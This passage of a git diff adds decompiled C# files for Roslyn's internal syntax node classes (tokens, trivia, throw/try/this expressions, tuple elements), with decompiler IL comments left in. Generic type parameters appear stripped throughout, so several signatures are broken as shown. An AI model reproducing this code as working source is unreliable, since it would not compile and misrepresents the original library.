Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitToken(this); + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitToken(this); + } + + protected override void WriteTokenTo(TextWriter writer, bool leading, bool trailing) + { + if (leading) + { + GreenNode leadingTrivia = GetLeadingTrivia(); + if (leadingTrivia != null) + { + leadingTrivia.WriteTo(writer, true, true); + } + } + writer.Write(Text); + if (trailing) + { + GreenNode trailingTrivia = GetTrailingTrivia(); + if (trailingTrivia != null) + { + trailingTrivia.WriteTo(writer, true, true); + } + } + } + + public override bool IsEquivalentTo(GreenNode other) + { + if (!((GreenNode)this).IsEquivalentTo(other)) + { + return false; + } + SyntaxToken syntaxToken = (SyntaxToken)(object)other; + if (Text != syntaxToken.Text) + { + return false; + } + GreenNode leadingTrivia = GetLeadingTrivia(); + GreenNode leadingTrivia2 = syntaxToken.GetLeadingTrivia(); + if (leadingTrivia != leadingTrivia2) + { + if (leadingTrivia == null || leadingTrivia2 == null) + { + return false; + } + if (!leadingTrivia.IsEquivalentTo(leadingTrivia2)) + { + return false; + } + } + GreenNode trailingTrivia = GetTrailingTrivia(); + GreenNode trailingTrivia2 = syntaxToken.GetTrailingTrivia(); + if (trailingTrivia != trailingTrivia2) + { + if (trailingTrivia == null || trailingTrivia2 == null) + { + return false; + } + if (!trailingTrivia.IsEquivalentTo(trailingTrivia2)) + { + return false; + } + } + return true; + } + + internal override SyntaxNode CreateRed(SyntaxNode parent, int position) + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Syntax/InternalSyntax/SyntaxToken.cs", 477); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/SyntaxTrivia.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/SyntaxTrivia.cs new file mode 100644 index 0000000..8d9d682 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/SyntaxTrivia.cs @@ -0,0 +1,138 @@ +using System; +using System.IO; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +internal class SyntaxTrivia : CSharpSyntaxNode +{ + public readonly string Text; + + public override bool IsTrivia => true; + + internal override bool ShouldReuseInSerialization + { + get + { + if (base.Kind == SyntaxKind.WhitespaceTrivia) + { + return ((GreenNode)this).FullWidth < 42; + } + return false; + } + } + + public override int Width => ((GreenNode)this).FullWidth; + + internal SyntaxTrivia(SyntaxKind kind, string text, DiagnosticInfo[]? diagnostics = null, SyntaxAnnotation[]? annotations = null) + : base(kind, diagnostics, annotations, text.Length) + { + //IL_0021: Unknown result type (might be due to invalid IL or missing references) + //IL_0027: Unknown result type (might be due to invalid IL or missing references) + //IL_0028: Unknown result type (might be due to invalid IL or missing references) + Text = text; + if (kind == SyntaxKind.PreprocessingMessageTrivia) + { + ((GreenNode)this).flags = (NodeFlags)(((GreenNode)this).flags | 8); + } + } + + internal SyntaxTrivia(ObjectReader reader) + : base(reader) + { + Text = reader.ReadString(); + ((GreenNode)this).FullWidth = Text.Length; + } + + static SyntaxTrivia() + { + ObjectBinder.RegisterTypeReader(typeof(SyntaxTrivia), (Func)((ObjectReader r) => (IObjectWritable)(object)new SyntaxTrivia(r))); + } + + internal override void WriteTo(ObjectWriter writer) + { + ((GreenNode)this).WriteTo(writer); + writer.WriteString(Text); + } + + internal static SyntaxTrivia Create(SyntaxKind kind, string text) + { + return new SyntaxTrivia(kind, text); + } + + public override string ToFullString() + { + return Text; + } + + public override string ToString() + { + return Text; + } + + internal override GreenNode GetSlot(int index) + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Syntax/InternalSyntax/SyntaxTrivia.cs", 64); + } + + public override int GetLeadingTriviaWidth() + { + return 0; + } + + public override int GetTrailingTriviaWidth() + { + return 0; + } + + internal override GreenNode SetDiagnostics(DiagnosticInfo[]? diagnostics) + { + return (GreenNode)(object)new SyntaxTrivia(base.Kind, Text, diagnostics, ((GreenNode)this).GetAnnotations()); + } + + internal override GreenNode SetAnnotations(SyntaxAnnotation[]? annotations) + { + return (GreenNode)(object)new SyntaxTrivia(base.Kind, Text, ((GreenNode)this).GetDiagnostics(), annotations); + } + + public override TResult Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitTrivia(this); + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitTrivia(this); + } + + protected override void WriteTriviaTo(TextWriter writer) + { + writer.Write(Text); + } + + public static implicit operator SyntaxTrivia(SyntaxTrivia trivia) + { + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_000c: Unknown result type (might be due to invalid IL or missing references) + SyntaxToken val = default(SyntaxToken); + return new SyntaxTrivia(ref val, (GreenNode)(object)trivia, 0, 0); + } + + public override bool IsEquivalentTo(GreenNode? other) + { + if (!((GreenNode)this).IsEquivalentTo(other)) + { + return false; + } + if (Text != ((SyntaxTrivia)(object)other).Text) + { + return false; + } + return true; + } + + internal override SyntaxNode CreateRed(SyntaxNode? parent, int position) + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Syntax/InternalSyntax/SyntaxTrivia.cs", 133); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/ThisExpressionSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/ThisExpressionSyntax.cs new file mode 100644 index 0000000..2a0166a --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/ThisExpressionSyntax.cs @@ -0,0 +1,111 @@ +using System; +using System.Collections.Generic; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +internal sealed class ThisExpressionSyntax : InstanceExpressionSyntax +{ + internal readonly SyntaxToken token; + + public SyntaxToken Token => token; + + internal ThisExpressionSyntax(SyntaxKind kind, SyntaxToken token, DiagnosticInfo[]? diagnostics, SyntaxAnnotation[]? annotations) + : base(kind, diagnostics, annotations) + { + ((GreenNode)this).SlotCount = 1; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)token); + this.token = token; + } + + internal ThisExpressionSyntax(SyntaxKind kind, SyntaxToken token, SyntaxFactoryContext context) + : base(kind) + { + SetFactoryContext(context); + ((GreenNode)this).SlotCount = 1; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)token); + this.token = token; + } + + internal ThisExpressionSyntax(SyntaxKind kind, SyntaxToken token) + : base(kind) + { + ((GreenNode)this).SlotCount = 1; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)token); + this.token = token; + } + + internal override GreenNode? GetSlot(int index) + { + if (index != 0) + { + return null; + } + return (GreenNode?)(object)token; + } + + internal override SyntaxNode CreateRed(SyntaxNode? parent, int position) + { + return (SyntaxNode)(object)new Microsoft.CodeAnalysis.CSharp.Syntax.ThisExpressionSyntax(this, parent, position); + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitThisExpression(this); + } + + public override TResult Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitThisExpression(this); + } + + public ThisExpressionSyntax Update(SyntaxToken token) + { + if (token != Token) + { + ThisExpressionSyntax thisExpressionSyntax = SyntaxFactory.ThisExpression(token); + DiagnosticInfo[] diagnostics = ((GreenNode)this).GetDiagnostics(); + if (diagnostics != null && diagnostics.Length != 0) + { + thisExpressionSyntax = GreenNodeExtensions.WithDiagnosticsGreen(thisExpressionSyntax, diagnostics); + } + SyntaxAnnotation[] annotations = ((GreenNode)this).GetAnnotations(); + if (annotations != null && annotations.Length != 0) + { + thisExpressionSyntax = GreenNodeExtensions.WithAnnotationsGreen(thisExpressionSyntax, (IEnumerable)annotations); + } + return thisExpressionSyntax; + } + return this; + } + + internal override GreenNode SetDiagnostics(DiagnosticInfo[]? diagnostics) + { + return (GreenNode)(object)new ThisExpressionSyntax(base.Kind, token, diagnostics, ((GreenNode)this).GetAnnotations()); + } + + internal override GreenNode SetAnnotations(SyntaxAnnotation[]? annotations) + { + return (GreenNode)(object)new ThisExpressionSyntax(base.Kind, token, ((GreenNode)this).GetDiagnostics(), annotations); + } + + internal ThisExpressionSyntax(ObjectReader reader) + : base(reader) + { + ((GreenNode)this).SlotCount = 1; + SyntaxToken syntaxToken = (SyntaxToken)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken); + token = syntaxToken; + } + + internal override void WriteTo(ObjectWriter writer) + { + ((GreenNode)this).WriteTo(writer); + writer.WriteValue((IObjectWritable)(object)token); + } + + static ThisExpressionSyntax() + { + ObjectBinder.RegisterTypeReader(typeof(ThisExpressionSyntax), (Func)((ObjectReader r) => (IObjectWritable)(object)new ThisExpressionSyntax(r))); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/ThrowExpressionSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/ThrowExpressionSyntax.cs new file mode 100644 index 0000000..0caeaca --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/ThrowExpressionSyntax.cs @@ -0,0 +1,126 @@ +using System; +using System.Collections.Generic; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +internal sealed class ThrowExpressionSyntax : ExpressionSyntax +{ + internal readonly SyntaxToken throwKeyword; + + internal readonly ExpressionSyntax expression; + + public SyntaxToken ThrowKeyword => throwKeyword; + + public ExpressionSyntax Expression => expression; + + internal ThrowExpressionSyntax(SyntaxKind kind, SyntaxToken throwKeyword, ExpressionSyntax expression, DiagnosticInfo[]? diagnostics, SyntaxAnnotation[]? annotations) + : base(kind, diagnostics, annotations) + { + ((GreenNode)this).SlotCount = 2; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)throwKeyword); + this.throwKeyword = throwKeyword; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)expression); + this.expression = expression; + } + + internal ThrowExpressionSyntax(SyntaxKind kind, SyntaxToken throwKeyword, ExpressionSyntax expression, SyntaxFactoryContext context) + : base(kind) + { + SetFactoryContext(context); + ((GreenNode)this).SlotCount = 2; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)throwKeyword); + this.throwKeyword = throwKeyword; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)expression); + this.expression = expression; + } + + internal ThrowExpressionSyntax(SyntaxKind kind, SyntaxToken throwKeyword, ExpressionSyntax expression) + : base(kind) + { + ((GreenNode)this).SlotCount = 2; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)throwKeyword); + this.throwKeyword = throwKeyword; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)expression); + this.expression = expression; + } + + internal override GreenNode? GetSlot(int index) + { + return (GreenNode?)(index switch + { + 0 => throwKeyword, + 1 => expression, + _ => null, + }); + } + + internal override SyntaxNode CreateRed(SyntaxNode? parent, int position) + { + return (SyntaxNode)(object)new Microsoft.CodeAnalysis.CSharp.Syntax.ThrowExpressionSyntax(this, parent, position); + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitThrowExpression(this); + } + + public override TResult Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitThrowExpression(this); + } + + public ThrowExpressionSyntax Update(SyntaxToken throwKeyword, ExpressionSyntax expression) + { + if (throwKeyword != ThrowKeyword || expression != Expression) + { + ThrowExpressionSyntax throwExpressionSyntax = SyntaxFactory.ThrowExpression(throwKeyword, expression); + DiagnosticInfo[] diagnostics = ((GreenNode)this).GetDiagnostics(); + if (diagnostics != null && diagnostics.Length != 0) + { + throwExpressionSyntax = GreenNodeExtensions.WithDiagnosticsGreen(throwExpressionSyntax, diagnostics); + } + SyntaxAnnotation[] annotations = ((GreenNode)this).GetAnnotations(); + if (annotations != null && annotations.Length != 0) + { + throwExpressionSyntax = GreenNodeExtensions.WithAnnotationsGreen(throwExpressionSyntax, (IEnumerable)annotations); + } + return throwExpressionSyntax; + } + return this; + } + + internal override GreenNode SetDiagnostics(DiagnosticInfo[]? diagnostics) + { + return (GreenNode)(object)new ThrowExpressionSyntax(base.Kind, throwKeyword, expression, diagnostics, ((GreenNode)this).GetAnnotations()); + } + + internal override GreenNode SetAnnotations(SyntaxAnnotation[]? annotations) + { + return (GreenNode)(object)new ThrowExpressionSyntax(base.Kind, throwKeyword, expression, ((GreenNode)this).GetDiagnostics(), annotations); + } + + internal ThrowExpressionSyntax(ObjectReader reader) + : base(reader) + { + ((GreenNode)this).SlotCount = 2; + SyntaxToken syntaxToken = (SyntaxToken)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken); + throwKeyword = syntaxToken; + ExpressionSyntax expressionSyntax = (ExpressionSyntax)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)expressionSyntax); + expression = expressionSyntax; + } + + internal override void WriteTo(ObjectWriter writer) + { + ((GreenNode)this).WriteTo(writer); + writer.WriteValue((IObjectWritable)(object)throwKeyword); + writer.WriteValue((IObjectWritable)(object)expression); + } + + static ThrowExpressionSyntax() + { + ObjectBinder.RegisterTypeReader(typeof(ThrowExpressionSyntax), (Func)((ObjectReader r) => (IObjectWritable)(object)new ThrowExpressionSyntax(r))); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/ThrowStatementSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/ThrowStatementSyntax.cs new file mode 100644 index 0000000..4a51435 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/ThrowStatementSyntax.cs @@ -0,0 +1,186 @@ +using System; +using System.Collections.Generic; +using Microsoft.CodeAnalysis.Syntax.InternalSyntax; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +internal sealed class ThrowStatementSyntax : StatementSyntax +{ + internal readonly GreenNode? attributeLists; + + internal readonly SyntaxToken throwKeyword; + + internal readonly ExpressionSyntax? expression; + + internal readonly SyntaxToken semicolonToken; + + public override SyntaxList AttributeLists => new SyntaxList(attributeLists); + + public SyntaxToken ThrowKeyword => throwKeyword; + + public ExpressionSyntax? Expression => expression; + + public SyntaxToken SemicolonToken => semicolonToken; + + internal ThrowStatementSyntax(SyntaxKind kind, GreenNode? attributeLists, SyntaxToken throwKeyword, ExpressionSyntax? expression, SyntaxToken semicolonToken, DiagnosticInfo[]? diagnostics, SyntaxAnnotation[]? annotations) + : base(kind, diagnostics, annotations) + { + ((GreenNode)this).SlotCount = 4; + if (attributeLists != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(attributeLists); + this.attributeLists = attributeLists; + } + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)throwKeyword); + this.throwKeyword = throwKeyword; + if (expression != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)expression); + this.expression = expression; + } + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)semicolonToken); + this.semicolonToken = semicolonToken; + } + + internal ThrowStatementSyntax(SyntaxKind kind, GreenNode? attributeLists, SyntaxToken throwKeyword, ExpressionSyntax? expression, SyntaxToken semicolonToken, SyntaxFactoryContext context) + : base(kind) + { + SetFactoryContext(context); + ((GreenNode)this).SlotCount = 4; + if (attributeLists != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(attributeLists); + this.attributeLists = attributeLists; + } + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)throwKeyword); + this.throwKeyword = throwKeyword; + if (expression != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)expression); + this.expression = expression; + } + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)semicolonToken); + this.semicolonToken = semicolonToken; + } + + internal ThrowStatementSyntax(SyntaxKind kind, GreenNode? attributeLists, SyntaxToken throwKeyword, ExpressionSyntax? expression, SyntaxToken semicolonToken) + : base(kind) + { + ((GreenNode)this).SlotCount = 4; + if (attributeLists != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(attributeLists); + this.attributeLists = attributeLists; + } + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)throwKeyword); + this.throwKeyword = throwKeyword; + if (expression != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)expression); + this.expression = expression; + } + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)semicolonToken); + this.semicolonToken = semicolonToken; + } + + internal override GreenNode? GetSlot(int index) + { + return (GreenNode?)(index switch + { + 0 => attributeLists, + 1 => throwKeyword, + 2 => expression, + 3 => semicolonToken, + _ => null, + }); + } + + internal override SyntaxNode CreateRed(SyntaxNode? parent, int position) + { + return (SyntaxNode)(object)new Microsoft.CodeAnalysis.CSharp.Syntax.ThrowStatementSyntax(this, parent, position); + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitThrowStatement(this); + } + + public override TResult Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitThrowStatement(this); + } + + public ThrowStatementSyntax Update(SyntaxList attributeLists, SyntaxToken throwKeyword, ExpressionSyntax expression, SyntaxToken semicolonToken) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_002a: Unknown result type (might be due to invalid IL or missing references) + if (attributeLists != AttributeLists || throwKeyword != ThrowKeyword || expression != Expression || semicolonToken != SemicolonToken) + { + ThrowStatementSyntax throwStatementSyntax = SyntaxFactory.ThrowStatement(attributeLists, throwKeyword, expression, semicolonToken); + DiagnosticInfo[] diagnostics = ((GreenNode)this).GetDiagnostics(); + if (diagnostics != null && diagnostics.Length != 0) + { + throwStatementSyntax = GreenNodeExtensions.WithDiagnosticsGreen(throwStatementSyntax, diagnostics); + } + SyntaxAnnotation[] annotations = ((GreenNode)this).GetAnnotations(); + if (annotations != null && annotations.Length != 0) + { + throwStatementSyntax = GreenNodeExtensions.WithAnnotationsGreen(throwStatementSyntax, (IEnumerable)annotations); + } + return throwStatementSyntax; + } + return this; + } + + internal override GreenNode SetDiagnostics(DiagnosticInfo[]? diagnostics) + { + return (GreenNode)(object)new ThrowStatementSyntax(base.Kind, attributeLists, throwKeyword, expression, semicolonToken, diagnostics, ((GreenNode)this).GetAnnotations()); + } + + internal override GreenNode SetAnnotations(SyntaxAnnotation[]? annotations) + { + return (GreenNode)(object)new ThrowStatementSyntax(base.Kind, attributeLists, throwKeyword, expression, semicolonToken, ((GreenNode)this).GetDiagnostics(), annotations); + } + + internal ThrowStatementSyntax(ObjectReader reader) + : base(reader) + { + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_001a: Expected O, but got Unknown + ((GreenNode)this).SlotCount = 4; + GreenNode val = (GreenNode)reader.ReadValue(); + if (val != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(val); + attributeLists = val; + } + SyntaxToken syntaxToken = (SyntaxToken)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken); + throwKeyword = syntaxToken; + ExpressionSyntax expressionSyntax = (ExpressionSyntax)reader.ReadValue(); + if (expressionSyntax != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)expressionSyntax); + expression = expressionSyntax; + } + SyntaxToken syntaxToken2 = (SyntaxToken)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken2); + semicolonToken = syntaxToken2; + } + + internal override void WriteTo(ObjectWriter writer) + { + ((GreenNode)this).WriteTo(writer); + writer.WriteValue((IObjectWritable)(object)attributeLists); + writer.WriteValue((IObjectWritable)(object)throwKeyword); + writer.WriteValue((IObjectWritable)(object)expression); + writer.WriteValue((IObjectWritable)(object)semicolonToken); + } + + static ThrowStatementSyntax() + { + ObjectBinder.RegisterTypeReader(typeof(ThrowStatementSyntax), (Func)((ObjectReader r) => (IObjectWritable)(object)new ThrowStatementSyntax(r))); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/TryStatementSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/TryStatementSyntax.cs new file mode 100644 index 0000000..cd672bb --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/TryStatementSyntax.cs @@ -0,0 +1,218 @@ +using System; +using System.Collections.Generic; +using Microsoft.CodeAnalysis.Syntax.InternalSyntax; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +internal sealed class TryStatementSyntax : StatementSyntax +{ + internal readonly GreenNode? attributeLists; + + internal readonly SyntaxToken tryKeyword; + + internal readonly BlockSyntax block; + + internal readonly GreenNode? catches; + + internal readonly FinallyClauseSyntax? @finally; + + public override SyntaxList AttributeLists => new SyntaxList(attributeLists); + + public SyntaxToken TryKeyword => tryKeyword; + + public BlockSyntax Block => block; + + public SyntaxList Catches => new SyntaxList(catches); + + public FinallyClauseSyntax? Finally => @finally; + + internal TryStatementSyntax(SyntaxKind kind, GreenNode? attributeLists, SyntaxToken tryKeyword, BlockSyntax block, GreenNode? catches, FinallyClauseSyntax? @finally, DiagnosticInfo[]? diagnostics, SyntaxAnnotation[]? annotations) + : base(kind, diagnostics, annotations) + { + ((GreenNode)this).SlotCount = 5; + if (attributeLists != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(attributeLists); + this.attributeLists = attributeLists; + } + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)tryKeyword); + this.tryKeyword = tryKeyword; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)block); + this.block = block; + if (catches != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(catches); + this.catches = catches; + } + if (@finally != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)@finally); + this.@finally = @finally; + } + } + + internal TryStatementSyntax(SyntaxKind kind, GreenNode? attributeLists, SyntaxToken tryKeyword, BlockSyntax block, GreenNode? catches, FinallyClauseSyntax? @finally, SyntaxFactoryContext context) + : base(kind) + { + SetFactoryContext(context); + ((GreenNode)this).SlotCount = 5; + if (attributeLists != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(attributeLists); + this.attributeLists = attributeLists; + } + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)tryKeyword); + this.tryKeyword = tryKeyword; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)block); + this.block = block; + if (catches != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(catches); + this.catches = catches; + } + if (@finally != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)@finally); + this.@finally = @finally; + } + } + + internal TryStatementSyntax(SyntaxKind kind, GreenNode? attributeLists, SyntaxToken tryKeyword, BlockSyntax block, GreenNode? catches, FinallyClauseSyntax? @finally) + : base(kind) + { + ((GreenNode)this).SlotCount = 5; + if (attributeLists != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(attributeLists); + this.attributeLists = attributeLists; + } + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)tryKeyword); + this.tryKeyword = tryKeyword; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)block); + this.block = block; + if (catches != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(catches); + this.catches = catches; + } + if (@finally != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)@finally); + this.@finally = @finally; + } + } + + internal override GreenNode? GetSlot(int index) + { + return (GreenNode?)(index switch + { + 0 => attributeLists, + 1 => tryKeyword, + 2 => block, + 3 => catches, + 4 => @finally, + _ => null, + }); + } + + internal override SyntaxNode CreateRed(SyntaxNode? parent, int position) + { + return (SyntaxNode)(object)new Microsoft.CodeAnalysis.CSharp.Syntax.TryStatementSyntax(this, parent, position); + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitTryStatement(this); + } + + public override TResult Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitTryStatement(this); + } + + public TryStatementSyntax Update(SyntaxList attributeLists, SyntaxToken tryKeyword, BlockSyntax block, SyntaxList catches, FinallyClauseSyntax @finally) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0039: Unknown result type (might be due to invalid IL or missing references) + //IL_003c: Unknown result type (might be due to invalid IL or missing references) + //IL_0020: Unknown result type (might be due to invalid IL or missing references) + //IL_0023: Unknown result type (might be due to invalid IL or missing references) + if (attributeLists != AttributeLists || tryKeyword != TryKeyword || block != Block || catches != Catches || @finally != Finally) + { + TryStatementSyntax tryStatementSyntax = SyntaxFactory.TryStatement(attributeLists, tryKeyword, block, catches, @finally); + DiagnosticInfo[] diagnostics = ((GreenNode)this).GetDiagnostics(); + if (diagnostics != null && diagnostics.Length != 0) + { + tryStatementSyntax = GreenNodeExtensions.WithDiagnosticsGreen(tryStatementSyntax, diagnostics); + } + SyntaxAnnotation[] annotations = ((GreenNode)this).GetAnnotations(); + if (annotations != null && annotations.Length != 0) + { + tryStatementSyntax = GreenNodeExtensions.WithAnnotationsGreen(tryStatementSyntax, (IEnumerable)annotations); + } + return tryStatementSyntax; + } + return this; + } + + internal override GreenNode SetDiagnostics(DiagnosticInfo[]? diagnostics) + { + return (GreenNode)(object)new TryStatementSyntax(base.Kind, attributeLists, tryKeyword, block, catches, @finally, diagnostics, ((GreenNode)this).GetAnnotations()); + } + + internal override GreenNode SetAnnotations(SyntaxAnnotation[]? annotations) + { + return (GreenNode)(object)new TryStatementSyntax(base.Kind, attributeLists, tryKeyword, block, catches, @finally, ((GreenNode)this).GetDiagnostics(), annotations); + } + + internal TryStatementSyntax(ObjectReader reader) + : base(reader) + { + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_001a: Expected O, but got Unknown + //IL_0065: Unknown result type (might be due to invalid IL or missing references) + //IL_006b: Expected O, but got Unknown + ((GreenNode)this).SlotCount = 5; + GreenNode val = (GreenNode)reader.ReadValue(); + if (val != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(val); + attributeLists = val; + } + SyntaxToken syntaxToken = (SyntaxToken)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken); + tryKeyword = syntaxToken; + BlockSyntax blockSyntax = (BlockSyntax)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)blockSyntax); + block = blockSyntax; + GreenNode val2 = (GreenNode)reader.ReadValue(); + if (val2 != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(val2); + catches = val2; + } + FinallyClauseSyntax finallyClauseSyntax = (FinallyClauseSyntax)reader.ReadValue(); + if (finallyClauseSyntax != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)finallyClauseSyntax); + @finally = finallyClauseSyntax; + } + } + + internal override void WriteTo(ObjectWriter writer) + { + ((GreenNode)this).WriteTo(writer); + writer.WriteValue((IObjectWritable)(object)attributeLists); + writer.WriteValue((IObjectWritable)(object)tryKeyword); + writer.WriteValue((IObjectWritable)(object)block); + writer.WriteValue((IObjectWritable)(object)catches); + writer.WriteValue((IObjectWritable)(object)@finally); + } + + static TryStatementSyntax() + { + ObjectBinder.RegisterTypeReader(typeof(TryStatementSyntax), (Func)((ObjectReader r) => (IObjectWritable)(object)new TryStatementSyntax(r))); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/TupleElementSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/TupleElementSyntax.cs new file mode 100644 index 0000000..4df8e3f --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/TupleElementSyntax.cs @@ -0,0 +1,138 @@ +using System; +using System.Collections.Generic; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +internal sealed class TupleElementSyntax : CSharpSyntaxNode +{ + internal readonly TypeSyntax type; + + internal readonly SyntaxToken? identifier; + + public TypeSyntax Type => type; + + public SyntaxToken? Identifier => identifier; + + internal TupleElementSyntax(SyntaxKind kind, TypeSyntax type, SyntaxToken? identifier, DiagnosticInfo[]? diagnostics, SyntaxAnnotation[]? annotations) + : base(kind, diagnostics, annotations) + { + ((GreenNode)this).SlotCount = 2; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)type); + this.type = type; + if (identifier != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)identifier); + this.identifier = identifier; + } + } + + internal TupleElementSyntax(SyntaxKind kind, TypeSyntax type, SyntaxToken? identifier, SyntaxFactoryContext context) + : base(kind) + { + 